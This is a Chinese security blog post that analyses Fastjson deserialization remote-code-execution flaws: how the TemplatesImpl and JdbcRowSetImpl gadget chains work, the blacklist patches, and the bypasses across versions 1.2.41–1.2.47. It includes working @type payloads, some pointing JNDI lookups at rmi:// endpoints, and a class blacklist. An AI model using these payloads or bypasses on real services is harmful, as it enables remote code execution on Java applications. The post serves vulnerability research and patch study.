FastJson 反序列化学习

0x01 概述

主要是本次某*行动,据传闻有个fastjson的0day,我就很好奇,刚好自己之前没有学习过这个东西,所以蹭着这个时间把这个学习一下。

0x02 分析过程

什么是fastjson

Fastjson是一个由阿里巴巴维护的一个json库。它采用一种“假定有序快速匹配”的算法,是号称Java中最快的json库。最早的通告在这里。而fastjson的用法可以先看看下面这个例子。

先定义一个User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.l1nk3r.fastjson;

public class User {
private String name;
private int age;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.l1nk3r.fastjson;

import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.l1nk3r.fastjson.User;
public class Testfastjson {

public static void main(String[] args){
Map<String, Object> map = new HashMap<String, Object>();
map.put("key1","One");
map.put("key2", "Two");
String mapJson = JSON.toJSONString(map);
System.out.println(mapJson);

User user1 = new User();
user1.setUsername("xiaoming");
user1.setSex("male");
System.out.println("obj name:"+user1.getClass().getName());

//序列化
String serializedStr = JSON.toJSONString(user1);
System.out.println("serializedStr="+serializedStr);

String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
System.out.println("serializedStr1="+serializedStr1);

//通过parse方法进行反序列化
User user2 = (User)JSON.parse(serializedStr1);
System.out.println(user2.getUsername());
System.out.println();

//通过parseObject方法进行反序列化 通过这种方法返回的是一个JSONObject
Object obj = JSON.parseObject(serializedStr1);
System.out.println(obj);
System.out.println("obj name:"+obj.getClass().getName()+"\n");

//通过这种方式返回的是一个相应的类对象
Object obj1 = JSON.parseObject(serializedStr1,Object.class);
System.out.println(obj1);
System.out.println("obj1 name:"+obj1.getClass().getName());

}
}

结果如下所示:

1
2
3
4
5
6
7
8
9
10
11
{"key1":"One","key2":"Two"}
obj name:com.l1nk3r.fastjson.User
serializedStr={"Sex":"male","Username":"xiaoming","sex":"male","username":"xiaoming"}
serializedStr1={"@type":"com.l1nk3r.fastjson.User","Sex":"male","Username":"xiaoming","sex":"male","username":"xiaoming"}
xiaoming

{"Username":"xiaoming","Sex":"male","sex":"male","username":"xiaoming"}
obj name:com.alibaba.fastjson.JSONObject

com.l1nk3r.fastjson.User@1b9e1916
obj1 name:com.l1nk3r.fastjson.User

FastJson利用 toJSONString 方法来序列化对象,而反序列化还原回 Object 的方法,主要的API有两个,分别是 JSON.parseObjectJSON.parse ,最主要的区别就是前者返回的是 JSONObject 而后者返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用 JSON.parseObject 来获取数据。

我们可以看到使用 SerializerFeature.WriteClassName 时会在序列化中写入当前的type, @type 可以指定反序列化任意类,调用其set,get,is方法。而问题恰恰出现在了这个特性,我们可以配合一些存在问题的类,然后继续操作,造成RCE的问题,我们可以看下面这个例子通过指定 @type ,成功获取了相关数据。

1
2
3
4
5
6
7
8
9
10
11
12
package com.l1nk3r.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Test {
public static void main(String[] args) {
String myJSON = "{\"@type\":\"User\",\"Username\":\"l1nk3r\",\"Sex\":\"male\"}";
JSONObject u3 = JSON.parseObject(myJSON);
System.out.println("result => " + u3.get("Username"));
}
}

结果

1
result => l1nk3r

fastjson 1.22-1.24

之前关于这个漏洞流传的poc基本上都是

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImp 这个类。而这个类在7u21的反序列化 gadget 过程中,也出现过,这样来看还是需要详细跟一下,在反序列化,下面这行代码位置下个断点。

1
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

1

然后便进入com.alibaba.fastjson.JSON这个类中,并使用parser.parseObjec来解析我们传入的数据。

2

继续跟进,来到了com.alibaba.fastjson.parser.DefaultJSONParser这个类中,调用了derializer.deserialze来解析传入的数据。

3

由于 deserialze 是一个接口,前面的序列化方法类是

com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer#deserialze

4

因此这里自然继续跟入之后会来到这个

com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer类中进行相关操作,而这里有这么一段代码。

1
2
3
else {
return type instanceof Class && type != Object.class && type != Serializable.class ? parser.parseObject(type) : parser.parse(fieldName);
}

这段代码又重新回到了 com.alibaba.fastjson.parser.DefaultJSONParser 这个类中,并且调用parseObject方法来处理我们传入的数据。

5

这个 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject 有说法,我们可以慢慢来看。

6

首先我们传入的 text 的值是我们构造好的 payload ,而token是等于12,根据这里if选择,理论上应该是要进入值为12的选择进行处理,所里这种情况下,自然就进入了最后一个else进行了处理。这里开始会针对我们text里面的特殊符号进行一个处理判断( lexer.skipWhitespace ),而 skipWhitespace 实现就是下面这部分代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public final void skipWhitespace() {
while(true) {
while(true) {
if (this.ch <= '/') {
if (this.ch == ' ' || this.ch == '\r' || this.ch == '\n' || this.ch == '\t' || this.ch == '\f' || this.ch == '\b') {
this.next();
continue;
}

if (this.ch == '/') {
this.skipComment();
continue;
}
}

return;

所以这里的ch结果是",于是便进入下图代码中进行处理。

7

而部分代码需要关注的就是这一行。

8

com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol 其实也是一个根据特殊符号进行选择,然后进入相应的位置进行处理的,我们可以看到当前的chLocal@符号,而quote"符号。

9

由于我们的@type是通过两个"闭合的,这部分while循环一直遍历到@type后面的"时候,自然就进入这个相等的if进行处理。

10

经过这一系列的处理之后,com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol的返回结果自然是@type

10

也就是我们最开始时候key的结果是@type,而继续往下自然进入到了这里。

10

而根据前面的分析,我们知道scanSymbol方法会遍历"内的数据,当数据一样的时候,就会直接放回value的结果,经过处理之后,这里的clazz的结果自然是我们需要的那个rce的触发类。

10

我们前面说过由于 deserialze 是一个接口,前面的序列化方法类是

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze ,而传入的clazz正是我们想要实例化的一个利用类。

10

我们详细看看com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze是如何处理的,进来之后,token是16,而text正是我们传入的值。

10

经过处理这里会调用

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField方法,

1
boolean match = this.parseField(parser, key, object, type, fieldValues);

跟进这个方法,这个方法首先会调用smartMatch方法来处理我们传入的key值,而这里的key值就是我们json中的那些字段,比如:_outputProperties_name_bytecodes等。

10

这个方法的主要作用是进行一些『智能匹配』,方便后续获取对应变量的getter和setter。调用后这个方法会去掉字符串中的-、删除开头的下划线等,所以当我们传入了_bytecodes的时候,实际上就给处理成了bytecodes,并返回对应的FieldDeserializer对象。

17

而经过处理之后,这里的parseField也是一个接口,根据前面流程,这里的parseField进入的是会调用com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField方法来进行处理。

1
2
3
lexer.nextTokenWithColon(((FieldDeserializer)fieldDeserializer).getFastMatchToken());
((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);
return true;

17

这里 fieldValueDeserilizer 的对象是 ObjectArrayCodec ,所以这里自然会进入 com.alibaba.fastjson.serializer.ObjectArrayCodec#parseArray

17

而在com.alibaba.fastjson.serializer.ObjectArrayCodec#parseArray中,所以这里又会调用 com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze

17

而在fastjson在处理[B类型的数组时,会调用lexer.bytesValue(),其中的lexer对应的内容就是JSONScanner。

17

而这个bytesValue()方法会自动帮我们执行一次base64解码。

1
2
3
public byte[] bytesValue() {
return IOUtils.decodeBase64(this.text, this.np + 1, this.sp);
}

然后最后会在 com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer 中,通过setValue方式将value赋值给我们要执行的特殊类。

22

当处理_OutputProperties时也先会将_去掉,然后调用该属性的get方法:getOutputProperties()

22

然后回到用method.invoke通过反射的方式实例化我们的要调用的类。

22

我们可以看这部分的反射调用链,很明显了。

22

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties 中调用了 newTransformer

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

继续跟进 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer 中调用了 getTransletInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

首先在

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance 方法中_name不能为空,然后这里会调用 defineTransletClassess 来处理传入的class对象。

22

defineTransletClassess 中,这里会调用 defineClass 进行处理,我们可以看到这里解析的class的name正是我们POC中构造的com.l1nk3r.fastjson.Test类。

22

然后会判断这个类的父类是不是

com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

22

所以这也是为什么我们要在POC构造的过程中继承

com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

22

然后会调用 newInstance ,实力化我们的传入解析的那个class对象。

22

然后自然就可以rce了。

22

这是一个调用链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
exec:347, Runtime (java.lang)
<init>:13, Test (com.l1nk3r.fastjson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:80, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:722, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:568, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:187, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:183, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
test_autoTypeDeny:44, Poc (com.l1nk3r.fastjson)
main:50, Poc (com.l1nk3r.fastjson)

POC

@type

指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在poc中,_bytecodes_name都是私有属性,所以要想反序列化这两个,需要在parseObject()时设置Feature.SupportNonPublicField

_bytecodes

是我们把恶意类的.class文件二进制格式进行base64编码后得到的字符串

_outputProperties

漏洞利用链的关键会调用其参数的getOutputProperties方法 导致命令执行

_tfactory:{}

在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory 设值

_bytecodes而生成类的实例,再者因为传进去的参数都会经过 key.replaceAll("\_", ""); 处理,所以使用_OutputProperties参数最终会调用getOutputProperties()方法进而触发后面的利用链。

关于FastJson的解析过程分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.l1nk3r.fastjson;

import java.util.Properties;

public class Person {
public String name;
private int age;
private Boolean sex;
private Properties prop;

public Person(){
System.out.println("User()");
}
public void setAge(int age){
System.out.println("setAge()");
this.age = age;
}

public Boolean getSex(){
System.out.println("getSex()");
return this.sex;
}
public Properties getProp(){
System.out.println("getProp()");
return this.prop;
}
public String toString() {
String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
return s;
}
}
1
2
3
4
5
6
7
8
9
10
11
package com.l1nk3r.fastjson;

import com.alibaba.fastjson.JSON;

public class TestPerson {
public static void main(String[] args){
String eneity3 = "{\"@type\":\"com.l1nk3r.fastjson.Person\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
Object obj = JSON.parseObject(eneity3,Person.class);
System.out.println(obj);
}
}

输出结果如下:

1
2
3
4
User()
setAge()
getProp()
[User Object] name=Tom, age=13, prop=null, sex=null

我们可以看到

1
2
3
4
public修饰的name被序列化
private修饰的age 反序列化成功 setter函数被调用
private修饰的sex 未被反序列化 getter函数没有被调用
private修饰的prop 没有被反序列化 但是getter函数被调用

这里的sex与prop都为private变量,且都无setter方法,但是prop的getter函数被调用,sex的没有,所以我们看看源码,核心在 com.alibaba.fastjson.util.JavaBeanInfo ,该类会区分情况进行处理,会将满足条件的方法添加到fieldList列表当中供后面的反序列化操作进行调用。

33

满足条件的setter:

1
2
3
4
方法名长度大于4且以set开头
非静态函数
返回类型为void或当前类
参数个数为1个

满足条件的getter:

1
2
3
4
5
方法名长度大于等于4        
非静态方法
以get开头且第4个字母为大写
无参数
返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

我们上面例子中的getProp()返回类型为Properties,而Properties extends Hashtable,而Hashtable implements Map,所以getProp()会被调用而getsex()没有,那么当该get方法中存在一些危险操作的调用链,就会造成任意命令执行。

34

补丁

补丁中增加了checkAutoType构造方法,并且限制了黑名单和白名单。

35

黑名单主要由这些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils,
org.apache.commons.collections.Transformer,
org.apache.commons.collections.functors,
org.apache.commons.collections4.comparators,
org.apache.commons.fileupload,
org.apache.myfaces.context.servlet,
org.apache.tomcat,
org.apache.wicket.util,
org.codehaus.groovy.runtime,
org.hibernate,
org.jboss,
org.mozilla.javascript,
org.python.core,org.springframework

小结

关于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImp这个利用链,默认情况下fastjson只会反序列化public的方法和属性,而我们构造的PoC中有private的成员变量_bytecodes_name,为了给这些变量赋值,则必须要服务端开启了SupportNonPublicField功能。

总结下就是Fastjson反序列化jsonStr时:

1
2
3
parse(jsonStr) 构造方法+Json字符串指定属性的setter()+特殊的getter()                            
parseObject(jsonStr) 构造方法+Json字符串指定属性的setter()+所有getter() 包括不存在属性和私有属性的getter()
parseObject(jsonStr,*.class) 构造方法+Json字符串指定属性的setter()+特殊的getter()

几种bypass方法

v1.2.41

方法:

Lcom.sun.rowset.JdbcRowSetImpl;

详细看看

首先经过补丁修复之后,会在 com.alibaba.fastjson.parser.DefaultJSONParser 中调用 checkAutoType 来检查我们传入的类是不是在黑名单中,我们构造的这个类自然不在这个黑名单中,所以自然就过了这部分的检测。

35

上面一系列流程跟完之后,会进入到这么一行代码

1
2
3
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

而loadClass方法的作用是将开头的L和结尾的;去除。

35

然后自然就返回了我们想要的对象。

35

35

然后核心的处理流程其实和之前的实例化这个类的过程一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:742, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:1240, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:370, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1335, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1301, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
testJdbcRowSetImpl:17, OtherPOC (com.l1nk3r.fastjson)
main:9, OtherPOC (com.l1nk3r.fastjson)

这里我关心的是为什么com.sun.rowset.JdbcRowSetImpl这个方法能够导致触发RCE的问题,因为传入dataSourceName,先调用其setter方法。

40

传入了autoCommit:true,所以反序列化时会调用setAutoCommit()

40

跟进connect方法,这里的getDataSoureceName返回的是dataSource,因此结果自然是我们传入的dataSource的值。

40

V1.2.42

补丁

补丁中采用黑名单的方式来deny类。

40

然后移除开头的L和结尾的;

40

绕过

LLcom.sun.rowset.JdbcRowSetImpl;;

40

V1.2.43

补丁

补丁中遇到typeName为LL…;;,便会抛出异常然后退出。

40

绕过

[com.sun.rowset.JdbcRowSetImpl

因为我们最早看到loadclass会去掉的不仅仅是L;,还有[,但是实际测试下来无法成功。

40

v1.2.45

POC:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

原因:

黑名单绕过

补丁:

黑名单扩展

40

v1.2.47

我们都知道fastjson会使用 checkAutoType 方法来检测@type中携带的类,而这次bypass看到payload主要用到的是java.lang.class,在 com/alibaba/fastjson/parser/DefaultJSONParser 方法中调用checkAutoType方法来进行检测,这里传入的类就是我们用到的java.lang.class

而这里用到的java.lang.class并不在我们的黑名单类中,因此这里的黑名单检测是通过的,然后就和之前流程一样调用 deserializer.deserialze 来处理我们传入的clazz,也就是java.lang.class。而这里对应的deserialze方法和之前的触发稍微有一点点区别,这里的deserialze用的是

com.alibaba.fastjson.serializer.MiscCodec#deserialze

进入到 com.alibaba.fastjson.serializer.MiscCodec#deserialze ,这里会调用

com.alibaba.fastjson.parser.DefaultJSONParser#parser 方法来取出我们传入的恶意类

com.sun.rowset.JdbcRowSetImpl

然后就把这个东西丢给 objVal ,然后进入一系列的if判断。

其中这里有一段判断,如果解析出来的clazz为java.lang.Class,这里就会调用

com.alibaba.fastjson.util.TypeUtils#loadClass方法来加载我们传入的strVal,而这里的strVal正是要调用的恶意类com.sun.rowset.JdbcRowSetImpl

而跟进 loadClass 方法,这里将我们的恶意类com.sun.rowset.JdbcRowSetImpl放到的 mapping 中。

我们看到放到mapping之前有个if判断,如果cache为true的情况下,就把这个东西放到mapping中,而这里的cache实际上默认就是为true的。

1
2
3
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}

而这里再回到 checkAutoType 中,我们再看看这个名单检测,截取一下部分代码,理一下思路,如果我们当前mapping中存在恶意类,那么这里会从mapping中取出恶意类赋值给clazz,然后因为9-14行代码中clazz不为空,所以这里直接返回了恶意类。

当然最后的结果也是验证了猜想,这里直接就返回恶意类com.sun.rowset.JdbcRowSetImpl

然后后面就和之前的利用方法一样了。

补丁

1.47和1.48的差别首先将loadClass中的默认true修改成为了fasle。

然后就是增加更多的黑名单。

0x03 小结

目前来看fastjson的@type能够指定实例化对象是它的一个特性,这个特性可能存在一系列的风险。随着Java生态不断引入第三方组件的情况下,就有个可能出现新的绕过。从业务上来说我觉得这个功能可能是多余的,一般对于业务来说,你能提供json解析对象获取即可,我不太清楚开发者设计这个功能的初衷在哪里。

0x04 题外话

在翻github的提交记录的时候我发现了一个很神奇的东西,链接在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 public void test_0() throws Exception {
String payload="{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";
String payload_2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:8889/xxx\",\"autoCommit\":true}";
...
try {
JSON.parseObject(payload);
} catch (Exception e) {
error = e;
}
}
...
try {
JSON.parseObject(payload_2);
} catch (Exception e) {
error2 = e;
}
...

public void test_dns() throws Exception {
String f2 = "{\"@type\":\"java.net.InetAddress\",\"val\":\"baidu.com\"}";

Throwable error = null;
try {
JSON.parse(f2, config);
} catch (JSONException ex) {
error = ex;
}
assertNotNull(error);
}

public void test_3() throws Exception {
String f2 = "{\"@type\":\"java.net.InetAddress\",\"val\":\"baidu.com\"}";

Throwable error = null;
try {
JSON.parse(f2, config);
} catch (JSONException ex) {
error = ex;
}
assertNotNull(error);
}

我们看到阿里的fastjson在测试修复的时候,将一些测试payload携带了进去,从commit记录来看去年应该就修复了。但是怎么说呢,这些信息留在这里始终是不好的。

Reference

fastjson-remote-code-execute-poc

Fastjson 1.2.24反序列化漏洞分析

Fastjson反序列化漏洞研究

Fastjson反序列化之TemplatesImpl调用链